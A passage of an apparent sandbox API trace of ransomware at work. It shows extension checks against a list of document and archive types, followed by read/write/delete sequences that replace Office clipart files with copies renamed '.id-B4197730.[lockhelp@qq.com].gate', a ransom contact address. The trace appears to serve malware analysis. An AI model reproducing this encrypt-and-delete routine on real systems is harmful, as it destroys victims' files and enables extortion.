office\\root\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0282.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.609] lstrlenW (lpString=".doc") returned 4 [0282.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.609] lstrlenW (lpString=".docx") returned 5 [0282.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.609] lstrlenW (lpString=".pdf") returned 4 [0282.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.609] lstrlenW (lpString=".xls") returned 4 [0282.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.609] lstrlenW (lpString=".xlsx") returned 5 [0282.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.610] lstrlenW (lpString=".ppt") returned 4 [0282.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.610] lstrlenW (lpString=".zip") returned 4 [0282.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.610] lstrlenW (lpString=".rar") returned 4 [0282.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString=".bz2") returned 4 [0282.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString=".7z") returned 3 [0282.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.610] lstrlenW (lpString=".dbf") returned 4 [0282.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.610] lstrlenW (lpString=".1cd") returned 4 [0282.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.610] lstrlenW (lpString=".jpg") returned 4 [0282.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.610] lstrlenW (lpString=".doc") returned 4 [0282.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.610] lstrlenW (lpString=".docx") returned 5 [0282.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.610] lstrlenW (lpString=".pdf") returned 4 [0282.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.611] lstrlenW (lpString=".xls") returned 4 [0282.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.611] lstrlenW (lpString=".xlsx") returned 5 [0282.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.611] lstrlenW (lpString=".ppt") returned 4 [0282.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.611] lstrlenW (lpString=".zip") returned 4 [0282.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.611] lstrlenW (lpString=".rar") returned 4 [0282.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.611] lstrlenW (lpString=".bz2") returned 4 [0282.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.611] lstrlenW (lpString=".7z") returned 3 [0282.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.611] lstrlenW (lpString=".dbf") returned 4 [0282.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.611] lstrlenW (lpString=".1cd") returned 4 [0282.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 68 [0282.611] lstrlenW (lpString=".jpg") returned 4 [0282.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.611] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.611] lstrlenW (lpString="BD00146_.WMF") returned 12 [0282.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.612] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=28948) returned 1 [0282.612] CloseHandle (hObject=0x4b0) returned 1 [0282.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x220 [0282.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0282.612] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.612] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0282.613] GetLastError () returned 0x0 [0282.613] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x7114, lpOverlapped=0x0) returned 1 [0282.833] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x7120, lpOverlapped=0x0) returned 1 [0282.834] ReadFile (in: hFile=0x4b0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0282.834] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0282.834] SetEndOfFile (hFile=0x394) returned 1 [0282.834] CloseHandle (hObject=0x394) returned 1 [0282.835] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.836] SetEndOfFile (hFile=0x4b0) returned 1 [0282.838] CloseHandle (hObject=0x4b0) returned 1 [0282.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0282.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0282.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.839] lstrlenW (lpString=".doc") returned 4 [0282.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.839] lstrlenW (lpString=".docx") returned 5 [0282.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.839] lstrlenW (lpString=".pdf") returned 4 [0282.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.839] lstrlenW (lpString=".xls") returned 4 [0282.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.839] lstrlenW (lpString=".xlsx") returned 5 [0282.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.839] lstrlenW (lpString=".ppt") returned 4 [0282.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.839] lstrlenW (lpString=".zip") returned 4 [0282.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.839] lstrlenW (lpString=".rar") returned 4 [0282.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.839] lstrlenW (lpString=".bz2") returned 4 [0282.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.839] lstrlenW (lpString=".7z") returned 3 [0282.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.840] lstrlenW (lpString=".dbf") returned 4 [0282.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.840] lstrlenW (lpString=".1cd") returned 4 [0282.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.840] lstrlenW (lpString=".jpg") returned 4 [0282.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.840] lstrlenW (lpString=".doc") returned 4 [0282.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString=".docx") returned 5 [0282.840] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.840] lstrlenW (lpString=".pdf") returned 4 [0282.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString=".xls") returned 4 [0282.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.840] lstrlenW (lpString=".xlsx") returned 5 [0282.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.840] lstrlenW (lpString=".ppt") returned 4 [0282.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.840] lstrlenW (lpString=".zip") returned 4 [0282.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.840] lstrlenW (lpString=".rar") returned 4 [0282.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString=".bz2") returned 4 [0282.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.840] lstrlenW (lpString=".7z") returned 3 [0282.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.841] lstrlenW (lpString=".dbf") returned 4 [0282.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.841] lstrlenW (lpString=".1cd") returned 4 [0282.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 68 [0282.841] lstrlenW (lpString=".jpg") returned 4 [0282.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.841] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0282.841] lstrlenW (lpString="BD05119_.WMF") returned 12 [0282.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0282.856] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=17236) returned 1 [0282.856] CloseHandle (hObject=0x4b4) returned 1 [0282.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0282.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0282.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0282.879] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.879] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0282.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0282.880] GetLastError () returned 0x0 [0282.880] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x4354, lpOverlapped=0x0) returned 1 [0283.273] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x4360, lpOverlapped=0x0) returned 1 [0283.274] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.275] WriteFile (in: hFile=0x404, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0283.275] SetEndOfFile (hFile=0x404) returned 1 [0283.281] CloseHandle (hObject=0x404) returned 1 [0283.290] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.290] SetEndOfFile (hFile=0x3d0) returned 1 [0283.303] CloseHandle (hObject=0x3d0) returned 1 [0283.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0283.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.304] lstrlenW (lpString=".doc") returned 4 [0283.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.304] lstrlenW (lpString=".docx") returned 5 [0283.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.304] lstrlenW (lpString=".pdf") returned 4 [0283.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.304] lstrlenW (lpString=".xls") returned 4 [0283.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.304] lstrlenW (lpString=".xlsx") returned 5 [0283.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.305] lstrlenW (lpString=".ppt") returned 4 [0283.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.305] lstrlenW (lpString=".zip") returned 4 [0283.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.305] lstrlenW (lpString=".rar") returned 4 [0283.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.305] lstrlenW (lpString=".bz2") returned 4 [0283.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.305] lstrlenW (lpString=".7z") returned 3 [0283.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.305] lstrlenW (lpString=".dbf") returned 4 [0283.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.305] lstrlenW (lpString=".1cd") returned 4 [0283.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.305] lstrlenW (lpString=".jpg") returned 4 [0283.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.306] lstrlenW (lpString=".doc") returned 4 [0283.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString=".docx") returned 5 [0283.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.306] lstrlenW (lpString=".pdf") returned 4 [0283.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString=".xls") returned 4 [0283.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.306] lstrlenW (lpString=".xlsx") returned 5 [0283.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.306] lstrlenW (lpString=".ppt") returned 4 [0283.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.306] lstrlenW (lpString=".zip") returned 4 [0283.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.306] lstrlenW (lpString=".rar") returned 4 [0283.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString=".bz2") returned 4 [0283.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString=".7z") returned 3 [0283.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.306] lstrlenW (lpString=".dbf") returned 4 [0283.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.306] lstrlenW (lpString=".1cd") returned 4 [0283.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 68 [0283.306] lstrlenW (lpString=".jpg") returned 4 [0283.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.306] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0283.307] lstrlenW (lpString="BD08758_.WMF") returned 12 [0283.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0283.307] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=24320) returned 1 [0283.307] CloseHandle (hObject=0x3d0) returned 1 [0283.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0283.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0283.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0283.307] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.308] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0283.308] GetLastError () returned 0x0 [0283.308] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x5f00, lpOverlapped=0x0) returned 1 [0283.639] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x5f10, lpOverlapped=0x0) returned 1 [0283.640] ReadFile (in: hFile=0x3d0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0283.640] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0283.640] SetEndOfFile (hFile=0x394) returned 1 [0283.640] CloseHandle (hObject=0x394) returned 1 [0283.641] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0283.641] SetEndOfFile (hFile=0x3d0) returned 1 [0283.643] CloseHandle (hObject=0x3d0) returned 1 [0283.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0283.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0283.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0283.644] lstrlenW (lpString=".doc") returned 4 [0283.644] lstrcmpiW (lpString1=".doc", 